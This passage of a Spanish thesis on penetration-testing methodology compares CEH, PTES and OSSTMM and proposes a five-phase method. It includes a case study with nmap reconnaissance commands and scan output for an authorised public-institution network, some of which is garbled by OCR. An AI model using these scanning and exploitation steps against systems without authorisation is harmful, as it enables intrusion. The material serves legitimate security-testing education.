¢ Registrar informacion rada

. Crear una plantilla de correspon-

n

2. Seleccionar modelo de referencia
¢ Definir el enfoque del estudio dencia
¢ Definir un formato para registro

3. Seleccionar el proposito a anali- 4. Seleccionar el nivel de detalle
zar ¢ Analizar la informacion
¢ Establecer el alcance del estudio

Figura 3. Flujo metodologia MSSS. Fuente: (Gasca Hurtado, 2010)

El andlisis del MSSS se lleva a cabo a partir de 3 aspectos:
¢ Alcance o enfoque de la aplicacion del modelo o estandar.
¢ Filosofia o principios basicos y pardmetros del modelo o estandar.
e Estructura de los pasos o fases que componen el modelo o estandar.

Siguiendo el método y el flujo mencionado, y considerando los aspectos establecidos por el

MSSS, se ha elaborado la siguiente tabla (tabla 8):

Tabla 8. Resumen de las metodologias seleccionadas. Fuente: Autor

Metodologia Alcance Filosofia Estructura
Enfoque practico y Se orienta en proveer el 1.Footprinting
orientado al profesional conocimiento, las 2. Escaneo

herramientas, la practicay la 3. Enumeracién
experiencia para la ejecuciéon 4. Analisis de

CEH de pruebas de penetracién, vulnerabilidades
con una éptica externa o de 5. System Hacking
un atacante.

Para proveedores de Se centraen proporcionarun 1. Interacciones previas
servicio y empresas que valor de negocio a los riesgos al compromiso
requieren contratar este vy vulnerabilidades asociados 2. Recoleccion de
tipo de servicios. Cubre a los activos digitales de una informacion
aspectos técnicos y no organizaciéon 3. Modelado de

PTES técnicos relacionados a la amenazas
ejecucion de pruebas de 4. Andlisis de
penetracion vulnerabilidades

5. Explotacién
6. Post explotacién
7. Reportes
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Se enfoca en analizar las
superficies de ataque de
una organizacion, los
controles implementados,
la eficacia de los controles,
y realiza un analisis de

Estd orientada a la medicién
de la seguridad en un nivel
operacional, y estd disefiada
para ser repetible vy
adaptable a cualquier tipo de
auditoria

1. Induccién

2. Interaccién
3. Investigacién
4. Intervencion

brecha entre la situacion
actual y la deseada

En base al enfoque y orientacion del método a desarrollar, se procede a realizar una
comparacion de las caracteristicas de las metodologias seleccionadas. Los resultados se
muestran en la tabla 9.

Tabla 9. Comparacién de caracteristicas de las metodologias seleccionadas. Fuente: Autor

Metodologia CEH PTES OSSTMM
Provee una guia técnica de aplicacion X
Provee las herramientas para su aplicacién X X
Con un enfoque especifico en la practica X
Contempla todos los pasos del proceso genérico del ethical hacking X X
Cubre aspectos no técnicos relacionados al test X X

Finalmente, se realiza un andlisis de las metodologias seleccionadas, con un enfoque
especifico en la ejecucion practica, y se resaltan sus objetivos y sus carencias como se

demuestran en la tabla 10.

Tabla 10. Comparacion de metodologias con enfoque en la ejecucion practica. Fuente: Autor

Relacidn con la ejecucidn practica 'y

Objetivos .
carencias

Metodologia Enfoque

Metodologia

de ethical
hacking
CEH
Metodologia
de pruebas
PTES de

penetracion

La formacién y acreditacion
de profesionales y
especialistas en seguridad
informatica y ethical
hacking, en la aplicacion de
las mismas técnicas y
herramientas de un
atacante

Cubrir todos los aspectos
relacionados a la ejecucion
de pruebas de penetracidn
(técnicos y no técnicos),
analizar los riesgos vy

Es una metodologia 100% practica,
provee las herramientas y métodos
para la implementacién de pruebas
de penetracidn y contempla todas las
fases del proceso genérico de ethical
hacking.

No contempla aspectos no técnicos
relacionados con pruebas de
penetracion

Contiene una guia técnica y las
herramientas para su ejecucion. Su
implementacion va mas alld de la
practica por lo que le incrementa
complejidad. Contempla todas las
fases del proceso genérico de ethical
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traducirlos a un lenguaje de
negocio

hacking.

No provee lineamientos técnicos de
como ejecutar pruebas de
penetracion

Metodologia  Proveer una metodologia Provee varios tipos de test para la
de auditorias cientifica que permita ejecucidn de las pruebas o auditorias
de seguridad  verificar y medir los de seguridad, también provee

controles de seguridad de
una organizacion, %
presentar métricas en base

técnicas para la ejecucion de los test
en cada uno de los canales.
No provee las herramientas para la

a hechos derivados de Ia
ejecucién de las pruebas

ejecucién de las pruebas y no
contempla las fases del proceso
genérico de ethical hacking

La implementacién del método MSSS permiti6 determinar, gracias al analisis de las
caracteristicas de los modelos seleccionados, que la Metodologia Certified Ethical Hacker es
la que mas se orienta a la ejecucion practica, por lo que la herramienta desarrollada estara

alineada en su mayoria a esta metodologia.

Se considera también importante, incluir una fase preliminar de planificacién en la que se
establezcan los acuerdos y reglas necesarios para la ejecucion del test, y en donde se
coordinen los esfuerzos para que el beneficio sea el maximo posible y en ambas direcciones.
Para esto, vamos a tomar la fase “Interacciones previas al compromiso” de la metodologia
PTES que provee técnicas y herramientas de gestion y planificacion, que seran de utilidad

tanto para el disefio del método como para su implementacion.

Por ultimo, el tipo de test establecido en el método propuesto se asemejara al test doble gris

de la metodologia OSSTMM por su orientacion al analisis de vulnerabilidades.
3.4 Resumen de las metodologias analizadas

No cabe duda de que cada metodologia revisada es relevante y Util, y sus distintos enfoques
aportan un valor Unico en cada implementacién. Mientras que el CEH con un enfoque practico
se orienta al profesional, en proveerle el conocimiento y las herramientas para la ejecucion
de pruebas de penetracion con una Optica externa o de un atacante, el PTES se centra en
proporcionar un valor de negocio a los riesgos y vulnerabilidades asociados a los activos
digitales de una organizacion, también considera aspectos relacionados a la logistica, para la
ejecucion del test dentro de un marco legal y un ambiente seguro tanto para el cliente como
para el auditor. Finalmente, la metodologia OSSTMM se enfoca en analizar las superficies de
ataque de una organizacion, los controles implementados, la eficacia de los controles, y

realiza un analisis de brecha entre la situacion actual y la deseada.
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A fin de obtener un mayor beneficio en la contratacion de servicios de seguridad, es necesario
gue la empresa u organizacion entienda, primeramente, que es lo que espera del servicio, y
luego, que conozca ciertos parametros dentro de este tipo de servicios, como los
mencionados en el parrafo anterior. Solo de esta forma, se tomara una decision acertada y

de acuerdo a sus necesidades.
3.5 Fases establecidas

Gracias al analisis comparativo realizado en el apartado 3.3, hemos podido sintetizar el
proceso genérico de ethical hacking para adaptarlo a nuestro modelo, incluyendo actividades
de naturaleza no técnica, pero necesarias para asegurar un servicio conforme a las
necesidades del cliente o beneficiario. De esta forma, se ha estructurado nuestro modelo con

la siguiente disposicion:

Fase 1: Criterios para la ejecucioén del test.
Fase 2: Escaneo.

Fase 3: Andlisis de vulnerabilidades.

Fase 4: Explotacion.

Fase 5: Reporte.

A un nivel general, la tabla 11 presenta las caracteristicas mas importantes de la herramienta
desarrollada, a la vez que justifica las decisiones de disefio con el propdsito de darle sentido

al método.
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Tabla 11. Caracteristicas generales del método propuesto. Fuente: Autor

Fases

Objetivo

Actividades

Metodologia Base

Justificacion

1. Criterios para
la ejecucidn del
test

2. Escaneo

3. Andlisis de
Vulnerabilidades

Recolectar la informacion
necesaria para planificar las
fases posteriores y
organizar los recursos
disponibles, con el fin de
garantizar fluidez en Ia
ejecucion del test vy
prevenir inconvenientes

La busqueda de
vulnerabilidades y vias de
acceso a la infraestructura
tecnoldgica del objetivo a
través de la interaccion con
herramientas

automatizadas

Aumentar la probabilidad
de una explotacién exitosa

al analizar las
vulnerabilidades
encontradas, priorizarlas

A través de reuniones
con el beneficiario o su
representante se debe
definir:

Rangos de IP, dominios,
puertos, Fechas de
inicio, fin, horarios de
ejecuciéon y honorarios
de ser el caso.

Escaneo de red
Escaneo de puertos
Escaneo de

vulnerabilidades
Elaborar un diagrama de
red

Correlacién especifica y
correlacién  categoérica
de vulnerabilidades

Se basa en la fase de
"Interacciones

previas al
compromiso” del
PTES

Se basa en las fases
de "Escaneo de
redes" y
"Enumeracion” de la
metodologia CEH

Se basa en la fase de
"Analisis de
vulnerabilidades" de
la metodologia PTES

Aunque el método propuesto esta orientado a la
ejecucién practica, se ha integrado esta fase por
considerarse de gran valor, al proporcionar cierto
grado de seguridad tanto para el beneficiario como
para el equipo auditor, estableciendo reglas claras y
limites para la ejecucion de las fases posteriores. Esta
fase, aunque corta, previene posibles futuras
controversias como desbordamiento del alcance,
insatisfaccion del cliente o beneficiario, etc.

Ya que el método propuesto se basa en un test de caja
blanca (o un test doble caja gris segun el OSSTMM),
el equipo auditor cuenta con toda la informacién
sobre la infraestructura de la organizacién, siendo
necesario Unicamente realizar un escaneo
automatizado de la misma. Se ha combinado la fase
de Enumeracion junto con la fase de escaneo de
redes del CEH, ya que la orientacién, el alcance de
cierta forma genérico del test, y las herramientas
utilizadas, permiten realizar la enumeracidon de
manera simultanea al escaneo.

Las herramientas utilizadas para el escaneo de
vulnerabilidades, devuelven en la mayoria de los
casos, vulnerabilidades conocidas, por lo que, el
proceso de validacién (de la fase Analisis de
Vulnerabilidades del PTES), a través de correlacién
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4. Explotacion

5. Reporte

por nivel de severidad y
posibilidad de explotacién.
Buscar y analizar los
métodos de explotacion.

Obtener evidencia de una
explotacién exitosa de un

host, dentro  de la
infraestructura del
objetivo.

Presentar los resultados del
test de una manera
entendible y cuantificable

Busqueda, seleccion y
ejecucion de payloads y

exploits en un host
vulnerable
Generar reportes de

herramientas utilizadas,
Elaborar reporte final

Se basa en la fase de
"System hacking" de
la metodologia CEH

Se basa en la fase
"Reporte" de la
metodologia PTES

especifica (y categdrica en ciertos casos), resulta mas
que suficiente para encontrar métodos de
explotacién.

La consecucién de una explotacidn exitosa a un host
dentro de la infraestructura del objetivo, resulta de
suma importancia, ya que provee evidencia
"tangible" de que una organizacion es vulnerable, y
ayuda al beneficiario a interiorizar el peligro y los
riesgos de un ataque real

Es necesario un entregable con informacién relevante
y entendible, que provea una vision holistica de la
situacion en temas de seguridad de la informacion, y
que sirva de soporte para la elaboracion de hojas de
ruta y planes de accién para subsanar las
vulnerabilidades encontradas. Podria considerarse la
fase mds importante del método, ya que, sin este
documento, el beneficiario no tendria conocimiento
del estado de su infraestructura, por lo que, la
ejecucion del test habria sido en vano.
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De forma visual y simplificada, nuestro método estaria representado como se muestra en la

figura 4.

CRITERIOS PARA
LA EJECUCION
DEL TEST

Definir Rangos de IP
Dominios

Puertos
Horarios de
ejecucion

e Fechas de inicio
y fin.

ESCANEO

e Escaneo de red

e Escaneo de puertos

+ Escaneode ANALISIS DE
inerabiidados VULNERABILIDADES

e Elaboracion de
diagrama de red

o Validar vulnerabilidades
encontradas con
vulnerabilidades conocidas
Utilizar Bases de datos de .
Vulnerabilidades EXPLOTACION
e Buscar

métodos de explotacion

e Seleccion y
ejecucion de exploits

e Repetir hasta REPORTE

conseguir una
explotacion exitosa

e Generacion de
reportes

e Recopilacion de
evidencias

* Redaccion del informe
final

e Entrega

Figura 4. Diagrama del método de pentest propuesto. Fuente: Autor

A continuacion, profundizaremos en cada una de las fases, desarrollando el “como” en cada

una de ellas, y facilitando el conocimiento necesario para su correcta ejecucion.
3.5.1 Criterios para la ejecucion del test

Si bien el método propuesto en el presente trabajo tiene una orientacion practica, resulta
necesario acordar con el cliente o beneficiario, ciertos aspectos del test, con el fin de
garantizar una logistica adecuada que resulte beneficiosa para el auditor y ayude a prevenir

inconvenientes en la operacion normal de la empresa.

Esta fase se basa en la fase de “Interacciones previas al compromiso” del PTES y consta de
las actividades previas a la ejecucion del test (el CEH no considera tales actividades). Tiene
como finalidad delimitar los aspectos técnicos del test, establecer tiempos y horarios de
ejecucion y organizar todas las actividades y recursos necesarios para la correcta ejecucion

del test.

Los criterios considerados de relevancia para esta fase son:
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e Rangos de IP: Ya que nuestro método se basa en un test de caja blanca, es necesario
conocer de antemano, la porcion de la infraestructura y las respectivas direcciones IP

que van a ponerse a prueba.

¢ Dominios: De igual forma, es necesario conocer, que dominios van a ser testeados o

estan dentro del alcance de la ejecucién de la prueba.

e Puertos: Es recomendable realizar un escaneo de todos los puertos, y en la mayoria
de los casos sucede de esta manera, sin embargo, habrd casos en los que el

beneficiario requiera inicamente que ciertos puertos sean testeados.

e Horarios para la ejecucion: Es muy importante considerar en que horarios se van a
ejecutar las pruebas, pueden ser, pasado el horario laboral, con el fin de evitar
inconvenientes en la operacién normal de la infraestructura o la empresa, o también
se puede requerir la ejecucion de las pruebas en un horario laboral, con el fin de
verificar el nivel de respuesta de la infraestructura, dispositivos de seguridad y el

departamento de TI.

e Fechas de inicio, fin y entregables: Para que exista una planificacion adecuada, es
necesario definir fechas de inicio y fin de las pruebas, ademas de fechas de entrega
de los informes finales, esto evitara que la ejecucion de las pruebas, no se prolongue

mas de lo que deberia.

¢ Honorarios: En el caso de contratar una prueba de intrusién con un proveedor externo,
es necesario definir los honorarios para la ejecucién de las pruebas, el costo por

actividad, por hora y/o por asesoramiento.

e Restricciones y exclusiones: De la misma forma en la que establecemos los criterios
anteriores, es necesario definir que esta fuera del alcance, por ejemplo, direcciones
IP especificas que no se desea testear (por ejemplo, un servidor de base de datos),

puertos, dias festivos o fechas en los que no podran ejecutarse las pruebas, etc.

Estos criterios pueden establecerse en una o varias reuniones con el beneficiario y el equipo
de Tl de la empresa, en las que también se podran elaborar y legalizar contratos de trabajo,
acuerdos de confidencialidad y demas documentos que puedan servir de respaldo para evitar

futuras controversias.
3.5.2 Escaneo

Una vez tomadas las consideraciones necesarias para la ejecucion del test, el siguiente paso

en el método es el escaneo. Ya que nos estamos basando en un test de caja blanca, nos
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hemos evitado la fase de footprinting, o simplemente, la misma se encuentra implicita en la

fase anterior.

El escaneo se basa en las fases de “Escaneo de redes” y “Enumeracion” de la metodologia
CEH. Se han combinado en una sola fase, ya que la orientaciéon y alcance del método
propuesto permite realizar las dos actividades al mismo tiempo, y el CEH provee las

herramientas y la metodologia para llevarlo a la practica.
La metodologia para esta fase consta de 2 etapas:
» Escaneo deredy puertos
Con el uso de herramientas automatizadas, vamos a realizar lo siguiente:

e Un barrido de red (pingsweep) para descubrir los hosts que se encuentran activos.

Con la herramienta nmap, el comando utilizado seria el siguiente:
nmap -Pn (rango de IP)

o Escaneo de puertos en los hosts que se encuentran activos. Con la herramienta nmap,

el comando utilizado seria el siguiente:
nmap -A -T4 —p (puertos abiertos encontrados en el paso anterior) (IP host activo)

Este comando realiza la enumeracién al mismo tiempo, ya que obtiene nombres de
host, servicios ejecutados, sistemas operativos y versiones, informacién que nos sera

de utilidad para las fases posteriores.

e Elaborar un diagrama de la red nos ayuda a facilitar el trabajo ya que nos da un rapido
acceso a los hallazgos. Se puede utilizar herramientas en linea como draw.io o de

escritorio como Visio de Microsoft.

e Documentar la ejecucion de los comandos y los hallazgos. Se puede utilizar

aplicaciones como cherry tree, one note o simplemente un procesador de texto.
» Escaneo de vulnerabilidades

Las herramientas a utilizarse en esta fase son Nessus y Openvas. Nessus es una herramienta
muy completa y facil de usar, pero su version gratuita tiene un limite de 16 hosts, por esta
razén vamos a utilizar también Openvas, que ademas nos servira para contrastar los

resultados. La metodologia es la siguiente:

e Unavez instalada y configurada la herramienta procedemos a crear un nuevo Scan o
Tarea.
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e Seleccionamos la opcion Basic Network Scan para Nessus y Task Wizard para
OpenVAS.

¢ Configuramos como obijetivos, los hosts descubiertos en el escaneo de red.

e Establecemos el escaneo para todos los puertos TCP y dejamos el resto de

configuraciones por defecto en ambas herramientas.
e Damos inicio al test.

Desde esta fase y en adelante, se recomienda como plataforma de trabajo, hacer uso de
distribuciones de Linux optimizadas para la ejecucion de pruebas de penetracion y auditorias
de seguridad como Kali Linux o Parrot OS, ya que vienen pre configuradas con herramientas
y recursos destinados a facilitar este tipo de actividades.

3.5.3 Analisis de vulnerabilidades

Luego de culminar la fase de escaneo, es necesario hacer un andlisis de las vulnerabilidades
encontradas. Esta fase se basa en el proceso de Validacion de la fase de “Analisis de
vulnerabilidades” de la metodologia PTES, y consta Unicamente de la ejecucion del proceso
a través de los métodos de “Correlacion Especifica” en su mayoria, y “Correlacién Categorica”
cuando la correlacion especifica no ha tenido éxito. Con las herramientas utilizadas,

procedemos a hacer lo siguiente:

e Ingresamos a los resultados de la prueba y ordenamos las vulnerabilidades

encontradas por criticidad.

e En este punto, podemos buscar las vulnerabilidades conocidas, utilizando su id de
CVE en alguna base de datos, o podemos hacer una busqueda de manera manual,
en base a los puertos, servicios y versiones encontrados en la fase anterior. En este
paso podemos utilizar Bases de Datos de CVE como exploit-db.com, cve.mitre.org,
vuldb.com, o utilizar herramientas como searchsploit 0 metasploit framework que

vienen incluidas en Kali Linux.

¢ Una vez identificada la forma de explotacion, es necesario considerar en este punto,
el sistema operativo y la version del host objetivo, asi como también la version del
servicio que éste ejecuta y que se encuentra vulnerable. Esta informacion es relevante
para seleccionar el payload adecuado y aumentar la probabilidad de una explotacion

exitosa.

e Encontrados el o los payloads, procederemos a la fase de explotacion.
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Nota: Ya que la ejecucion de payloads es riesgosa y puede perjudicar la correcta operacion
del host o la red, se recomienda realizar la fase de explotacion hasta haber alcanzado la
explotacién exitosa de un solo objetivo, lo que nos bastara como prueba de concepto, y no

sin antes tener la autorizacion de la direccion o gerencia de la empresa.
3.5.4 Explotacion

En esta fase pondremos a prueba los payloads para los exploits encontrados. Se recomienda
empezar con las vulnerabilidades de criticidad alta y en los equipos de mayor impacto en la
organizacion (siempre que se encuentren dentro del alcance) a fin de proveer evidencia de

los riesgos existentes y el impacto del negocio en caso de que un host se vea comprometido.

Ya que se debe evitar a toda costa la interrupcién de los servicios y procurar la operacion
normal de la empresa, se recomienda utilizar payloads Gnicamente para la obtencién de Shell
remotos, para otros casos se debe considerar solicitar la autorizacién al administrador de la

red o la empresa.

Esta fase se basa en el proceso de “Explotar vulnerabilidades” dentro de la fase de “System
Hacking” de la metodologia CEH, al tener una orientacion practica, y utilizaremos la

herramienta Metasploit Framework recomendada por el PTES.

Utilizando la herramienta seleccionada podemos realizar busquedas, consultas y encontrar
informacion relacionada a cada exploit como, para que sirve, los parametros necesarios para
Su ejecucion, los sistemas y versiones susceptibles, etc. Es relativamente facil de usar, basta
con ejecutar en la terminal de Kali Linux el comando msfconsole para acceder a la
herramienta. Con el comando search podemos buscar entre varios tipos de exploit, el
comando use nos permite seleccionarlos, y el comando info provee informacion relevante
como utilidad y parametros admitidos. Finalmente, los comandos run o exploit nos permiten

ejecutarlos.

En base a los comandos mencionados, procederemos a buscar los payloads y exploits, seguin
los resultados de la fase de escaneo, seleccionar el adecuado, configurarlo y ejecutarlo. Ya
gue en la préactica no resulta tan sencillo, deberemos repetir este procedimiento, intentando

con cada vulnerabilidad encontrada, hasta conseguir una explotacion exitosa.

Tan pronto como hayamos obtenido un Shell remoto en un equipo, resultado de la ejecucion
de un payload, debemos verificar el usuario y el nivel de privilegios alcanzado. Se pueden
utilizar los comandos whoami, hostname y dir en Windows, y whoami, host y Is en Linux. Es

importante realizar capturas de pantalla como evidencia de lo conseguido.
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Todas las capturas de pantalla, archivos y evidencia de la ejecucion del test, generados

durante todas sus fases, seran incluidas como anexo al reporte final.
3.5.5 Reporte

Esta fase consiste en la presentacion de los resultados de la ejecucion de la prueba de
penetracion. Se basa en la fase de “Reportes” de la metodologia PTES, con la diferencia que
ésta engloba los 2 reportes recomendados por el PTES, en uno solo. Recopila la informacién
adquirida a lo largo de la implementacibn a modo de resumen ejecutivo, para un facil
entendimiento, a la vez que incorpora los elementos fundamentales y hallazgos obtenidos en
cada una de las fases con una 6ptica de narrativa, con el fin de proveer una linea de tiempo
gue ayude a comprender de principio a fin el proceso ejecutado, para finalmente proveer un
criterio del auditor sobre la situacion general de la infraestructura analizada. Los reportes
generados de la ejecucion de las herramientas utilizadas, alimentaran el apéndice y serviran
para el tratamiento de cada vulnerabilidad encontrada y para la elaboracion de hojas de ruta,
planes de accién, prevencion y mitigacion de riesgos.

La metodologia para la fase, seria la siguiente:

e Las herramientas Nessus y OpenVAS contienen médulos para la generacion de
reportes, muy Utiles y personalizables. Se recomienda filtrar las vulnerabilidades altas
y criticas para la generacion del reporte, ya que son de mayor relevancia para la
empresa y para el test, ademas de que permite una presentacion mas limpia y de facil

entendimiento. El resto de configuraciones, es mejor dejarlas por defecto.

e Es posible generar un reporte con todas las vulnerabilidades encontradas, ya que en
este se encuentran las recomendaciones a seguir con el fin de eliminar o mitigar
dichas vulnerabilidades. EI mismo se entregaria a la Direccién de Tecnologias para la

elaboracion de un plan de accién y gestién de las amenazas encontradas.

e Elreporte genérico en ambos casos (Nessus y OpenVAS) provee informacién técnica
muy relevante y da una clara idea del riesgo de negocio asociado, por lo que la

personalizacion del mismo queda a consideracion del auditor.

e Para la elaboracion del reporte final, se recomienda incluir como minimo, los

siguientes puntos:

o Portada: datos del auditor / compafiia de seguridad, datos de la empresa auditada,

fechas, etc.

o lIndice.
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Tiaas: by

g

o Resumen ejecutivo: hallazgos mas relevantes y conclusiéon del auditor.

o Metodologia utilizada: por ejemplo, caja blanca con orientacion al host

assessment.
o Narrativa del test: acciones realizadas y hallazgos encontrados
o Conclusiones y recomendaciones.

o Apéndice: Reportes generados de las herramientas utilizadas, resultados de la

ejecucion de los comandos, evidencia completa de hallazgos, logs, etc.
3.6 Flujo

A fin de obtener una mejor comprension del método y tener una herramienta visual que facilite

la ejecucion del mismo, se ha disefiado el siguiente diagrama (figura 5):
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Figura 5. Diagrama de Flujo. Fuente: Autor.
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Capitulo IV

Aplicacion del caso de estudio

En el presente capitulo pondremos en préactica lo desarrollado en el capitulo anterior, como
prueba de concepto y de utilidad del método. Empezaremos conociendo el objetivo, para
luego ir desglosando cada fase, aplicando las herramientas seleccionadas y evidenciando los
hallazgos. Finalmente se intentara plasmar informacién relevante para la organizacion, tanto
técnica como de negocio, en el reporte final. Cabe mencionar que la informacion de caracter
sensible, obtenida como resultado de la ejecucién de comandos y herramientas, ha sido
enmascarada, con el fin de preservar la anonimidad de la organizacion objetivo, evitar poner

en riesgo su infraestructura y dar cumplimiento al acuerdo de confidencialidad.
4.1 Antecedentes del target

La organizacion en la que se va a aplicar el método desarrollado, es una institucién publica
ubicada en la provincia de Cafar. La misma consta de una Direccion Distrital con autonomia
administrativa y financiera, pero con la coordinacién de sus procesos en una oficina central,
ubicada en la ciudad de Quito. Cuenta con 17 trabajadores, cada uno con un equipo de
coémputo a su custodia y conectado a la red de la oficina, ya que los servicios que ofrecen,

tanto para usuarios internos como externos, estan basados en tecnologias de la informacién.

Teniendo en cuenta estas consideraciones, podemos afirmar que el target u objetivo, califica
perfectamente dentro de la clasificacion descrita en el capitulo anterior, por lo que, la

ejecucion del método es adecuada y Util en este caso.
4.2 Definicién del alcance

Luego de recibir la autorizacién para la ejecucion del método, por el representante provincial
de la primera autoridad de la Institucion, se ha convocado a una reunion al personal del area
de TIC’s y a la Direccion Provincial con el fin de establecer los aspectos logisticos, técnicos y

legales del test. Para ello se han elaborado y legalizado los siguientes documentos:

e Formulario de autorizacion de pentest: En este se define el alcance (Rangos de IP,
horarios de ejecucion, etc) y se recibe la autorizacion para la ejecucion. Una copia se

encuentra disponible en el apartado de anexos.

e Acuerdo de confidencialidad: Establece las condiciones para el uso de la informacion
proporcionada por la organizacion, y para la ejecucion del test. Esta disponible en el

apartado de anexos.
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Una vez definidos estos aspectos, y recibido la autorizacion para el inicio del test, pasamos a

la fase de escaneo.
4.3 Escaneo

Esta fase empieza al crear un enlace de red, del equipo del auditor con la red del obijetivo.
Para ello conectamos un cable ethernet en un punto de red disponible y verificamos la
informacion de red. No se recomienda conexiones inalambricas para la ejecucion de las
herramientas, ya que la naturaleza exhaustiva de los andlisis, satura las redes inalambricas
y genera indisponibilidad en el servicio. Abrimos una terminal y ejecutamos el comando
ifconfig:
Feonfig
eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 10.0.10.54 netmask 255.255.255.@ broadcast 10.0.10.255
inet6 feB0::16fe:b5ff:feb4:5d14 prefixlen 64 scopeid @x2@<link>

ether 14:fe:b5:b4:5d:14 txqueuelen 1000 (Ethernet)

RX packets 75617 bytes 108694060 (103.6 MiB)

RX errors @ dropped 9 overruns @ frame @

TX packets 37283 bytes 3046383 (2.9 MiB)

TX errors @ dropped @ overruns @ carrier @ collisions @

Figura 6. Ejecucion de comando ifconfig. Fuente: Autor

De esta forma verificamos que nos encontramos en la sub red definida en el alcance. Es
importante mencionar, que como plataforma de trabajo se ha seleccionado el sistema

operativo Kali Linux.

» Escaneo de red
En la misma terminal, utilizamos la herramienta nmap con el siguiente comando:
nmap -Pn 10.0.10.0/24 -0 /home/matt/TESIS/comandol.txt

e -Pn: evita el blogqueo de host Discovery

e -0: almacena el resultado de la ejecucion del comando en un archivo de texto
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1jmap -Pn 10.0.10.0/24 -o /home/matt/TESIS/comandol.txt
2

3 # Nmap 7.91 scan initiated Tue Aug 10 11:43:44 2021 as: nmap -Pn -o /home/matt/TESIS/comandol.txt 10.0.10.0/24
4 Nmap scan report for 10.0.10.1

5 Host is up (0.00036s latency).

6 Not shown: 997 closed ports

7/ PORT STATE SERVICE

8 53/tcp open domain

9 1723/tcp open pptp

10 2000/tcp open cisco-scep

11 MAC Address: @0:0C:42:E2:48:D02 (Routerboard.com)
12

13 Nmap scan report for 10.0.10.5

14 Host is up (0.00075s latency).

15 Not shown: 995 closed ports

16 PORT STATE SERVICE

17 99/tcp  open metagram

18 554/tcp open rtsp

19 880/tcp open unknown

20 8000/tcp open http-alt

21 9010/tcp open sdr

22 MAC Address: BC:AD:28:A3:3C:A6 (Hangzhou Hikvision Digital Technology)
28

24 Nmap scan report for 10.0.10.10

25 Host is up (0.00034s latency).

26 Not shown: 999 closed ports

27 PORT  STATE SERVICE

28 22/tecp open ssh

29 MAC Address: DC:9F:DB:98:EB:E7 (Ubiquiti Networks)
30

31 Nmap scan report for 10.0.10.12

32 Host is up (0.00031s latency).

33 Not shown: 993 filtered ports

34 PORT STATE SERVICE

35 135/tcp  open msrpc

36 139/tcp open netbios-ssn

37 445/tcp  open microsoft-ds

38 7070/tcp open realserver

Figura 7. Escaneo de red. Fuente: Autor

Obtenemos varios hosts activos e informacion adicional como puertos y fabricante de la
tarjeta de red. En base a esta informacién, podemos empezar a elaborar un diagrama de la

red y realizar una busqueda mas profunda de los puertos y servicios disponibles en cada host.
» Escaneo de puertos

El comando anterior escanea los mil puertos comunes dentro del protocolo TCP, sin embargo,
se considera necesario escanear todos los puertos dentro de este protocolo, ya que, de no
hacerlo, podriamos estar omitiendo informacién importante tanto en temas de seguridad

como para la ejecucion del test. EI comando queda de la siguiente forma:
nmap -T4 -p- 10.0.10.1
e -T4: utiliza una plantilla predeterminada (0: més profundo, 5: mas r4pido)

e -p-: selecciona todos los puertos para el andlisis
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®kaliTesis)-[~]
2 L$ nmap -T4 -p- 10.0.10.1
3 Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 11:58 -@5
4 Nmap scan report for 10.0.10.1
5 Host is up (@.0049s latency).
6 Not shown: 65530 closed ports
7 PORT STATE SERVICE

8 53/tcp open domain

91723/tcp open pptp

10 2000/tcp open cisco-scecp

11 4365/tcp open unknown

12 4532/tcp open unknouwn

13

14 Nmap done: 1 IP address (1 host up) scanned in 14.43 seconds

Figura 8. Escaneo de puertos. Fuente: Autor
Podemos ver que obtenemos informacion adicional que no obtuvimos con el comando

anterior. Ahora procedemos a enumerar los puertos en busca de informacién adicional de

cada host:
nmap -A -T4 -
p80,135,139,443,445,3306,3389,5357,5800,5900,7070,49152,49154,49180,49206,49207,4
9318 10.0.10.16

e -A: combina deteccién de sistema operativo, version, traceroute y otros mas.

e -p: especifica el puerto, puertos o rango de puertos dentro del analisis

En algunos casos es necesario agregar el parAmetro —Pn ya que algunos dispositivos
mantienen activo el bloqueo de host discovery. Puede incrementar el tiempo de la ejecucion

del comando significativamente.
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34 PORT STATE SERVt[CE VERSION
35 80/tep open http Apache httpd 2.2.21 ((Win32) mod_ssl1/2.2.21 OpenSSL/1.@.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1)
36 |_http-server-header: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1
37 | http-title: Access forbidden!
38 |_Requested resource was http://10.0.10.16/xampp/
39 135/tcp  open msrpc Microsoft Windows RPC
4@ 139/tcp  open netbios-ssn Microsoft Windows netbios-ssn
41 443/tcp  open ssl/https?
42 | ssl-cert: Subject: commonName=localhost
43 | Not valid before: 2009-11-10T23:48:47
44 |_Not valid after: 2019-11-08T23:48:47
45 | _ssl-date: 2021-08-10T17:32:44+00:00; +35s from scanner time.
46 | sslv2:
SSLv2 supported
ciphers:

S5L2_DES_192_EDE3_CBC_WITH_MD5

SSL2_RC2_128_CBC_EXPORT4@_WITH_MD5

SSL2_IDEA_128_CBC_WITH_MDS

SSL2_RC4_128_WITH_MDS

SSL2_RC4_128_EXPORT4O_WITH_MDS

SSL2_DES_64_CBC_WITH_MD5

SS5L2_RC2_128_CBC_WITH_MD5

open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: K s )

57 3306/tcp open mysql MysQL (unauthorized)
58 3389/tcp open ssl/ms-wbt-server?
59 | ssl-cert: Subject: commonName=AZ6AZ008
60 | Not valid before: 2021-06-27T13:02:48
61 |_Not valid after: 2021-12-27T13:02:
62 |_ssl-date: 2021-08-10T17:32:44+00:00; +35s from scanner time.
63 5357/tcp open http Microsoft HTTPAPI httpd 2.@ (SSDP/UPnP)
64 |_http-server-header: Microsoft-HTTPAPI/2.0
65 |_http—title: Service Unavailable
66 5800/tcp open vnc-http TightVNC (user: az6azo®@8; VNC TCP port: 5900)
67 |_http-title: TightVNC desktop [az6azoes]

Figura 9. Enumeracion de puertos. Fuente: Autor

La herramienta nos ayuda a determinar que el host 10.0.10.16 ejecuta un sistema operativo
Windows 7 Profesional SP1, basado en una arquitectura de 32 bits, su nombre de host
(AZ6AZ008) y su grupo de trabajo. También podemos observar los servicios que se ejecutan

en cada puerto activo, sus versiones, configuraciones, entre otros.

Nota: El proceso de escaneo de puertos se realizd para todos los hosts descubiertos en el
escaneo de red. En razén de no saturar el presente trabajo y mantener la informacién de la
organizacion, confidencial, se considerdé incluir, para efectos de ilustracién, el proceso con un

solo host, dando continuidad y demostrando paso a paso el flujo establecido.
» Diagrama de red

